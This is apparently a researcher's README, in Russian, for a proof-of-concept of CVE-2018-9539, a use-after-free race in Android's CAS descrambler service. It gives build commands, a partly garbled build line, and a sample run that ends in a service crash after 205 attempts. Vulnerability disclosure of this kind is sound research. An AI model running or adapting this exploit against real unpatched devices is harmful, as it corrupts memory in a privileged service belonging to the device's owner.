
PoC-код для CVE-2018-9539
Код proof-of-concept для CVE-2018-9539
Если у вас есть вопросы, можете написать мне в Twitter (@tamir_zb).
Чтобы собрать это:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Запуск этого PoC на незапатченной версии Android (8.1–9.0 до ноября 2018) должен привести к use-after-free. Обратите внимание, что этот PoC не предназначен для работы на Android 8.1, так как он ожидает, что UaF приведет к сбою сервиса, что происходит только в Android 9.0; поэтому запуск этого PoC на Android 8.1 приведет к бесконечному циклу.
Вот пример вывода при запуске этого PoC на Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts